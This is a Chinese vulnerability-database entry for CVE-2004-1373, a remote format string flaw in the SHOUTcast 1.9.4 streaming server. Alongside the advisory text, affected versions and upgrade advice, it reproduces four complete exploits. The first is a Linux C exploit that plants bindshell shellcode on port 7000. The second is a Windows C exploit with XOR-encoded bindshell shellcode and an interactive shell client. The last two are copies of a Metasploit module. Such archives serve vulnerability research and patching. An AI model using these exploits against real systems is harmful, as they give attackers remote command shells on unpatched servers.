CVE-2004-1373
CVSS7.5
发布时间 :2004-12-23 00:00:00
修订时间 :2016-10-17 22:53:43
NMCOEPS    

[原文]Format string vulnerability in SHOUTcast 1.9.4 allows remote attackers to cause a denial of service (application crash) and execute arbitrary code via format string specifiers in a content URL, as demonstrated in the filename portion of a .mp3 file.


[CNNVD]Nullsoft SHOUTcast文件请求远程格式串处理漏洞(CNNVD-200412-096)

        
        Nullsoft SHOUTcast Server是一款用于广播流声讯系统的服务器程序,可使用在多种Linux和Unix操作系统下,也可以使用在Microsoft Windows操作系统下。
        Nullsoft SHOUTcast Server在处理客户提交的文件请求时存在问题,远程攻击者可以利用这个漏洞以进程权限在系统上执行任意指令。
        提交一个包含格式串文件名的请求给SHOUTcast Server,由于sprintf()函数不正确过滤,可导致格式串问题,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:nullsoft:shoutcast_server:1.9.4::win32
cpe:/a:nullsoft:shoutcast_server:1.9.4::linux
cpe:/a:nullsoft:shoutcast_server:1.9.4::mac_os_x

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1373
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1373
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200412-096
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=110382975516003&w=2
(UNKNOWN)  BUGTRAQ  20041223 SHOUTcast remote format string vulnerability
http://marc.info/?l=bugtraq&m=110886444014745&w=2
(UNKNOWN)  BUGTRAQ  20050219 exwormshoucast part of PTjob project: SHOUTcast v1.9.4 remote
http://securitytracker.com/id?1012675
(UNKNOWN)  SECTRACK  1012675
http://www.gentoo.org/security/en/glsa/glsa-200501-04.xml
(PATCH)  GENTOO  GLSA-200501-04
http://www.securityfocus.com/bid/12096
(PATCH)  BID  12096
http://xforce.iss.net/xforce/xfdb/18669
(PATCH)  XF  shoutcast-format-string(18669)

- 漏洞信息

Nullsoft SHOUTcast文件请求远程格式串处理漏洞
高危 输入验证
2004-12-23 00:00:00 2005-10-20 00:00:00
远程  
        
        Nullsoft SHOUTcast Server是一款用于广播流声讯系统的服务器程序,可使用在多种Linux和Unix操作系统下,也可以使用在Microsoft Windows操作系统下。
        Nullsoft SHOUTcast Server在处理客户提交的文件请求时存在问题,远程攻击者可以利用这个漏洞以进程权限在系统上执行任意指令。
        提交一个包含格式串文件名的请求给SHOUTcast Server,由于sprintf()函数不正确过滤,可导致格式串问题,精心构建提交数据可能以进程权限在系统上执行任意指令。
        

- 公告与补丁

        厂商补丁:
        Nullsoft
        --------
        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        
        http://www.shoutcast.com/

- 漏洞信息 (712)

SHOUTcast DNAS/Linux 1.9.4 Format String Remote Exploit (EDBID:712)
linux remote
2004-12-23 Verified
8000 pucik
N/A [点击下载]
/* SHOUTcast DNAS/Linux v1.9.4 format string remote exploit           */
/* Damian Put <pucik@cc-team.org> Cyber-Crime Team (www.CC-Team.org)  */
/* Tested on slackware 9.1 and 10.0 (0xbf3feee0)                      */
/* When exploit only crash SHOUTcast we should calculate new address: */
/*                                                                    */
/* bash-2.05b$ gdb sc_serv core                                       */
/* ...                                                                */
/* (gdb) x/x $edi                                                     */
/* 0xbe462270:     0x78257825                                         */
/* (gdb) x/x 0xbe462270-996                                           */
/* 0xbe461e8c:     0x5050c031                                         */
/*                                                                    */
/* 0xbe461e8c - This is our shellcode addr                            */
/*                                                                    */
/* Now we "only" must change format string code in req2 :-)           */

#include <stdio.h>
#include <stdlib.h>
#include <sys/errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* Default SHOUTcast port */
#define PORT 8000

char shellcode[] =  //bindshellcode (port 7000)
     "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x58\xc6\x04\x24\x02\x89\xe6"
     "\xb0\x02\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50"
     "\x6a\x01\x6a\x02\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a"
     "\x10\x56\x50\x89\xe1\xb0\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31"
     "\xc0\x31\xdb\xb0\x66\xb3\x04\xcd\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0"
     "\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89\xeb\x31\xc9\xb0\x3f\xcd\x80"
     "\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
     "\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc, char *argv[])
{
     int sock;
     char *host;
     struct hostent *h;
     struct sockaddr_in dest;

     char req1[1024] = "GET /content/AA"
     /* sprintf GOT addr */
     "\x3c\x49\x06\x08\x3d\x49\x06\x08\x3e\x49\x06\x08\x3f\x49\x06\x08";

     strcat(req1, shellcode);
     strcat(req1, ".mp3 HTTP/1.0\r\n\r\n");

     /* We cannot use %numberx and %number$n (filtered) */
     /* 0xbf3feee0 -  shellcode addr on slackware 9.1   */
     char *req2 = "GET /content/%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n-AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-%n.mp3"
     " HTTP/1.0\r\n\r\n";

     printf("SHOUTcast DNAS/Linux v1.9.4 format string remote exploit by pucik www.CC-Team.org\n");
     if(argc < 2)
     {
           printf("Usage: %s <host>\n", argv[0]);
           exit(0);
     }

     host = argv[1];

     if(!(h = gethostbyname(host)))
     {
           fprintf(stderr, "Cannot get IP of %s, %s!\n", host, strerror(errno));
           exit(-1);
     }

     sock = socket(PF_INET, SOCK_STREAM, 0);

     dest.sin_addr=*((struct in_addr*)h->h_addr);
     dest.sin_family = PF_INET;
     dest.sin_port = htons(PORT);

     if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
     {
           fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
           exit(-1);
     }

     printf("[*] Sending first request ...\n");
     write(sock, req1, strlen(req1));

     close(sock);

     sock = socket(PF_INET, SOCK_STREAM, 0);

     if(connect(sock, (struct sockaddr*)&dest, sizeof(struct sockaddr)) == -1)
     {
           fprintf(stderr, "Cannot connect to %s, %s!\n", host, strerror(errno));
           exit(-1);
     }

     printf("[*] Sending second request ...\n");
     write(sock, req2, strlen(req2));

     close(sock);

     printf("[*] Try telnet %s 7000 :)\n", host);

     return 0;
}

// milw0rm.com [2004-12-23]
		

- 漏洞信息 (830)

SHOUTcast 1.9.4 File Request Format String Remote Exploit (win) (EDBID:830)
windows remote
2005-02-19 Verified
8000 mandragore
[点击下载] [点击下载]
/*

Object:		PoC for Nullsoft SHOUTcast 1.9.4 File Request Format String Vulnerability

From the securityfocus bid at http://www.securityfocus.com/bid/12096 :
"This issue was reported to exist in version 1.9.4 on Linux. It is likely that versions for other
platforms are also affected by the vulnerability, though it is not known to what degree they are
exploitable."

This is now clarified, it's exploitable.

notes:		This is a two steps exploitation: the format bug is used to compute a buffer
			that will overwrite the stack later, resulting in a SEH overwriting.
			The exploit works for both the GUI and the console servers.
greets:		Sputnik
`date`:		Sat Feb 19 15:48:45     2005
credits:	Tomasz Trojanowski
author:		mandragore, mandragore@turingtest@gmail.com

Disclaimer:
This exploit is not to be published on any french site, including k-otic.com, because of the law
against vulnerability research (the LEN). We all know what security through obscurity means,
but I don't make the laws.

*/

#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <netinet/in.h>
#include <netdb.h>

#define NORM  "\033[00;00m"
#define GREEN "\033[01;32m"
#define YELL  "\033[01;33m"
#define RED   "\033[01;31m"

#define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.0 for " RED "shoutcast 1.9.4 (win gui & console)" NORM

#define fatal(x) { perror(x); exit(1); }

#define default_port 8000

struct { char *os; long goreg; long gpa; long lla; }
targets[] = {
	{ "wXP SP1     ", 0x77beeb23, 0x77be10cc, 0x77be10D0 },	// msvcrt.dll's
	{ "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
 }, tsz;

unsigned char bsh[]={
// 198 bytes, iat's gpa at 0x1a, iat's lla at 0x2b, port at 0x46 (1180), key 0xde
0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xB0,0x80,0x36,0xDE,0x46,0xE2,0xFA,
0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0x57,0xD7,0x60,0xDE,0xFE,0x9E,0xDE,0xB6,0xED,
0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,0x9E,0xDE,0x49,
0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0xB4,0x90,0x89,0x21,0xC8,0x21,0x0E,
0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xDA,0x42,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0xB4,0xDC,
0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,0x8D,0xB4,0xD3,0x89,0x21,0xC8,0x21,0x0E,0xB4,
0xDE,0x8A,0x8D,0xB4,0xDF,0x89,0x21,0xC8,0x21,0x0E,0x55,0x06,0xED,0x1E,0xB4,0xCE,
0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,
0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x36,0xD1,0xDE,
0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,
0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x19,0xE6,0x4D,0x75,
0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,0x55,0x9E,0xC2,0x55,0xDE,0x21,
0xAE,0xD6,0x21,0xC8,0x21,0x0E
};

char verbose=0;

void setoff(long GPA, long LLA) {
	int gpa=GPA^0xdededede, lla=LLA^0xdededede;
	memcpy(bsh+0x1a,&gpa,4);
	memcpy(bsh+0x2b,&lla,4);
}

void usage(char *argv0) {
	int i;

	printf("%s -d <host/ip> [opts]\n\n",argv0);

	printf("Options:\n");
	printf(" -h undocumented\n");
	printf(" -v verbose mode on\n");
	printf(" -p <port> to connect to [default: %u]\n",default_port);
	printf(" -P <port> for the shellcode [default: 1180]\n");
	printf(" -t <target type>; choose below [default: 0]\n\n");

	printf("Types:\n");
	for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
		printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

	exit(1);
}

void shell(int s) {
	char buff[4096];
	int retval;
	fd_set fds;

	printf("[+] connected!\n\n");

	for (;;) {
		FD_ZERO(&fds);
		FD_SET(0,&fds);
		FD_SET(s,&fds);

        if (select(s+1, &fds, NULL, NULL, NULL) < 0)
			fatal("[-] shell.select()");

		if (FD_ISSET(0,&fds)) {
			if ((retval = read(1,buff,4096)) < 1)
				fatal("[-] shell.recv(stdin)");
			send(s,buff,retval,0);
		}

		if (FD_ISSET(s,&fds)) {
			if ((retval = recv(s,buff,4096,0)) < 1)
				fatal("[-] shell.recv(socket)");
			write(1,buff,retval);
		}
	}
}

int main(int argc, char **argv, char **env) {
	struct sockaddr_in sin;
	struct hostent *he;
	char *host; int port=default_port;
	char *Host; int Port=1180; char bindopt=1;
	int i,s,ptr=0;
	int type=0;
	char *buff;

	printf(BANNER "\n");

	if (argc==1)
		usage(argv[0]);

	for (i=1;i<argc;i+=2) {
		if (strlen(argv[i]) != 2)
			usage(argv[0]);
		// chk nulls argv[i+1]
		switch(argv[i][1]) {
			case 't':
				type=atoi(argv[i+1]);
				if (type >= (sizeof(targets)/sizeof(tsz))) {
					printf("[-] bad target\n");
					usage(argv[0]);
				}
				break;
			case 'd':
				host=argv[i+1];
				break;
			case 'p':
				port=atoi(argv[i+1])?:default_port;
				break;
			case 's':
				if (strstr(argv[i+1],"rev"))
					bindopt=0;
				break;
			case 'H':
				Host=argv[i+1];
				break;
			case 'P':
				Port=atoi(argv[i+1])?:1180;
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				memcpy(bsh+0x46,&Port,2);
				Port=Port ^ 0xdede;
				Port=(Port & 0xff) << 8 | Port >>8;
				break;
			case 'v':
				verbose++; i--;
				break;
			case 'h':
				usage(argv[0]);
			default:
				usage(argv[0]);
			}
	}

	if (verbose)
		printf("verbose!\n");

	if ((he=gethostbyname(host))==NULL)
		fatal("[-] gethostbyname()");

	sin.sin_family = 2;
	sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
	sin.sin_port = htons(port);

	printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
	printf("[.] will try to put a bindshell on port %d.\n",Port);

// --------------------  core

	s=socket(2,1,6);

	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] connect()");

	printf("[+] connected, sending exploit\n");

	buff=(char *)malloc(4096);
	bzero(buff,4096);

	setoff(targets[type].gpa, targets[type].lla);

	ptr=sprintf(buff,"GET /content/%%#0%ux",1046-sizeof(bsh));
	memcpy(buff+ptr,bsh,sizeof(bsh)); ptr+=sizeof(bsh);
	strcpy(buff+ptr,"\xeb\x06\x41\x41"); ptr+=4;		// jump forward
	memcpy(buff+ptr,&targets[type].goreg,4); ptr+=4;	// ret off
	strcpy(buff+ptr,"\xe9\x2d\xff\xff\xff"); ptr+=5;	// jump backward
	strcpy(buff+ptr,"%#0200x.mp3 HTTP/1.0\r\n\r\n"); ptr+=28;

	send(s,buff,ptr,0);

	free(buff);

	close(s);

// --------------------  end of core

	sin.sin_port = htons(Port);
	sleep(2);
	s=socket(2,1,6);
	if (connect(s,(struct sockaddr *)&sin,16)!=0)
		fatal("[-] exploit most likely failed");
	shell(s);

	exit(0);
}


// milw0rm.com [2005-02-19]
		

- 漏洞信息 (16751)

SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow (EDBID:16751)
win32 remote
2010-04-30 Verified
0 metasploit
[点击下载] [点击下载]
##
# $Id: shoutcast_format.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',
			'Description'    => %q{
					This module exploits a format string vulnerability in the
				Nullsoft SHOUTcast server for Windows. The vulnerability is
				triggered by requesting a file path that contains format
				string specifiers. This vulnerability was discovered by
				Tomasz Trojanowski and Damian Put.
			},
			'Author'         => [ 'MC', 'mandragore[at]gmail.com'],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9179 $',
			'References'     =>
				[
					[ 'CVE', '2004-1373'],
					[ 'OSVDB', '12585'],
					[ 'BID', '12096'],
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799 }], # ws2help.dll
					['Windows 2000 English ALL',       { 'Ret' => 0x75022ac4 }], # ws2help.dll
					['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll
					['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638 }], # PEB return
				],
			'DisclosureDate' => 'Dec 23 2004'))

		register_options(
			[
				Opt::RPORT(8000)
			], self.class)
	end

	def check
		r = send_request_raw({
			'uri' => uri
		}, 5)

		return Exploit::CheckCode::Safe if not r

		m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
		return Exploit::CheckCode::Safe if not m

		print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")

		# SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
		if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
			if (m[2] == "win32")
				return Exploit::CheckCode::Vulnerable
			end
			print_status("Vulnerable version detected, but not a win32 host")
		end

		return Exploit::CheckCode::Safe
	end

	def exploit

		num = 1046 - payload.encoded.length
		uri = '/content/%#0' + num.to_s + 'x' + payload.encoded
		uri << "\xeb\x06" + rand_text_alphanumeric(2)
		uri << [target.ret].pack('V')
		uri << "\xe9\x2d\xff\xff\xff"
		uri << '#0100x.mp3'

		print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
		send_request_raw({
			'uri' => uri
		}, 5)

		handler
		disconnect
	end

end
		

- 漏洞信息 (F83218)

SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow (PacketStormID:F83218)
2009-11-26 00:00:00
MC  metasploit.com
exploit
windows
CVE-2004-1373
[点击下载]

This Metasploit module exploits a format string vulnerability in the Nullsoft SHOUTcast server for Windows. The vulnerability is triggered by requesting a file path that contains format string specifiers. This vulnerability was discovered by Tomasz Trojanowski and Damian Put.

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'SHOUTcast DNAS/win32 1.9.4 File Request Format String Overflow',
			'Description'    => %q{
				This module exploits a format string vulnerability in the
				Nullsoft SHOUTcast server for Windows. The vulnerability is
				triggered by requesting a file path that contains format
				string specifiers. This vulnerability was discovered by
				Tomasz Trojanowski and Damian Put.
					
			},
			'Author'         => [ 'MC', 'mandragore[at]gmail.com'],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2004-1373'],
					[ 'OSVDB', '12585'],
					[ 'BID', '12096'],

				],
			'Privileged'     => false,
			'DefaultOptions' => 
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 250,
					'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
					'StackAdjustment' => -3500,

				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows NT SP5/SP6a English',    { 'Ret' => 0x776a1799 }], # ws2help.dll
					['Windows 2000 English ALL',       { 'Ret' => 0x75022ac4 }], # ws2help.dll
					['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad }], # ws2help.dll
					['Windows 2003 Server English',    { 'Ret' => 0x7ffc0638 }], # PEB return					
				],
			'DisclosureDate' => 'Dec 23 2004'))
			
			register_options(
				[
					Opt::RPORT(8000)
				], self.class)
	end

	def check
		r = send_request_raw({
			'uri' => uri
		}, 5)
		
		return Exploit::CheckCode::Safe if not r
		
		m = r.body.match(/Network Audio Server\/([^\s]+)\s+([^<]+)<BR/)
		return Exploit::CheckCode::Safe if not m
		
		print_status("This system is running SHOUTcast #{m[1]} on #{m[2]}")
		
		# SHOUTcast Distributed Network Audio Server/win32 v1.9.2<BR>
		if (m[1] =~ /v1\.([0-8]\.|9\.[0-3])$/)
			if (m[2] == "win32")
				return Exploit::CheckCode::Vulnerable
			end
			print_status("Vulnerable version detected, but not a win32 host")
		end
		
		return Exploit::CheckCode::Safe
	end

	def exploit
	
		num = 1046 - payload.encoded.length
		uri = '/content/%#0' + num.to_s + 'x' + payload.encoded
		uri << "\xeb\x06" + rand_text_alphanumeric(2)
		uri << [target.ret].pack('V') 
		uri << "\xe9\x2d\xff\xff\xff"
		uri << '#0100x.mp3'

		print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)
		send_request_raw({
			'uri' => uri
		}, 5)
		
		handler
		disconnect
	end

end
    

- 漏洞信息

12585
SHOUTcast Filename Remote Format String
Remote / Network Access, Local / Remote, Context Dependent Input Manipulation
Loss of Integrity Upgrade
Exploit Public, Exploit Commercial

- 漏洞描述

A remote overflow exists in Nullsoft SHOUTcast. The SHOUTcast server fails to properly validate requests containing '%' characters resulting in a format string overflow. With a specially crafted request, an attacker can cause arbitrary code execution resulting in a loss of integrity.

- 时间线

2004-12-23 Unknow
2004-12-23 Unknow

- 解决方案

Upgrade to version 1.9.5 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

Nullsoft SHOUTcast File Request Format String Vulnerability
Input Validation Error 12096
Yes No
2004-12-23 12:00:00 2009-07-12 09:26:00
Discovery is credited to Tomasz Trojanowski.

- 受影响的程序版本

NullSoft Shoutcast Server 1.9.4 Win32
NullSoft Shoutcast Server 1.9.4 Mac OS X
NullSoft Shoutcast Server 1.9.4 Linux
+ Gentoo Linux
NullSoft Shoutcast Server 1.9.5 Win32
NullSoft Shoutcast Server 1.9.5 Mac OS X
NullSoft Shoutcast Server 1.9.5 Linux

- 不受影响的程序版本

NullSoft Shoutcast Server 1.9.5 Win32
NullSoft Shoutcast Server 1.9.5 Mac OS X
NullSoft Shoutcast Server 1.9.5 Linux

- 漏洞讨论

Nullsoft SHOUTcast is prone to a remotely exploitable format string vulnerability. The vulnerability is exposed when the server attempts to handle a client request for a file.

Successful exploitation may allow execution of arbitrary code in the context of the server process. This could also be exploited to crash the server and, possibly, to read process memory (which could increase reliability of an exploit).

This issue was reported to exist in version 1.9.4 on Linux. It is likely that versions for other platforms are also affected by the vulnerability, though it is not known to what degree they are exploitable. Earlier versions of the software are also likely affected.

- 漏洞利用


Exploit was submitted.

Exploit code shoutcast194_exp.c was submitted by jsk exworm &lt;exworm.hostrocket.com&gt;.

The shoutcast_format_win32.pm exploit is available for Metasploit.

A new exploit is available:

http://www.securityfocus.com/data/vulnerabilities/exploits/shoutcast_expl.c

- 解决方案

Gentoo has released an advisory to provide updates for this issue. Updates may be applied by running the following commands as the superuser:
emerge --sync
emerge --ask --oneshot --verbose ">=media-sound/shoutcast-server-bin-1.9.5"

This issue has been addressed in version 1.9.5.


NullSoft Shoutcast Server 1.9.4 Win32

NullSoft Shoutcast Server 1.9.4 Mac OS X

NullSoft Shoutcast Server 1.9.4 Linux

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站